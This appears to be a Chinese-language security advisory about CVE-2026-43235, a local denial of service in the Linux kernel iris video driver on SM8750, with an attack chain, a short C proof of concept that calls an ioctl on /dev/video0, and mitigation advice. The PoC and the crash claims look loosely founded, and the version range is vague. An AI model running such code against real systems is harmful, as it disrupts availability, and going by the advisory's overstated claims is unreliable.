IPBUF安全漏洞报告
English
CVE-2026-43235 CVSS 5.5 中危

CVE-2026-43235: Linux内核iris驱动拒绝服务漏洞

披露日期: 2026-05-06
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-43235
漏洞类型
拒绝服务
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Linux KernelDoSDriver VulnerabilityMedia DriverIris

漏洞概述

Linux内核中的iris媒体驱动程序在支持SM8750平台时存在配置缺失漏洞。由于驱动程序未正确设置`get_vpu_buffer_size`和`max_core_mbps`这两个关键的平台数据条目,导致在初始化视频解码或编码会话时无法分配必需的内部缓冲区,进而引发基本的媒体处理功能失败。此外,能力检查的不完整也会导致标准的v4l2-compliance测试无法通过。该漏洞主要影响系统的可用性,本地攻击者可利用此缺陷导致驱动崩溃或服务拒绝。

技术细节

该漏洞技术细节在于Linux内核iris驱动针对SM8750芯片的适配代码中遗漏了关键的平台数据定义。首先,缺少`get_vpu_buffer_size`赋值导致驱动在尝试分配VPU(视频处理单元)缓冲区时无法获取正确的大小参数,从而引发内存分配失败或空指针引用,导致内核恐慌或会话建立失败。其次,`max_core_mbps`字段的缺失使得驱动未能向用户空间暴露其最大处理能力,这不仅破坏了能力协商机制,还导致合规性测试失败。攻击者可利用本地低权限账户,通过调用V4L2接口触发视频流处理流程,利用上述逻辑缺陷触发系统异常,造成拒绝服务。

攻击链分析

STEP 1
1. 获取访问权限
攻击者获取本地系统的低权限用户访问权限(AV:L/PR:L)。
STEP 2
2. 定位设备节点
扫描并识别系统中的iris视频设备节点(如/dev/video*)。
STEP 3
3. 触发漏洞
编写或执行程序,通过V4L2 API调用视频编码/解码接口,尝试建立会话并设置格式。
STEP 4
4. 系统崩溃
驱动尝试分配缓冲区时因缺失`get_vpu_buffer_size`而失败,导致内核拒绝服务或驱动崩溃。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #include <linux/videodev2.h> int main() { // Attempt to open the video device (e.g., /dev/video0) int fd = open("/dev/video0", O_RDWR); if (fd < 0) return 1; struct v4l2_format fmt; fmt.type = V4L2_BUF_TYPE_VIDEO_OUTPUT_MPLANE; // Set a format that triggers buffer allocation logic fmt.fmt.pix_mp.width = 1920; fmt.fmt.pix_mp.height = 1080; fmt.fmt.pix_mp.pixelformat = V4L2_PIX_FMT_H264; // Trigger the ioctl which checks capabilities and allocates buffers if (ioctl(fd, VIDIOC_S_FMT, &fmt) < 0) { close(fd); return 1; } close(fd); return 0; }

影响范围

Linux Kernel < 6.x (Specific commits fixing SM8750 support)
Linux Kernel versions prior to commit 1aa5833f29b88c16e9ad49a1782927754f3af742

防御指南

临时缓解措施
在应用官方内核补丁之前,建议通过文件权限设置(如chmod或udev规则)限制普通用户访问/dev/video设备节点,仅允许受信任的服务账户访问,以降低本地拒绝服务攻击的风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表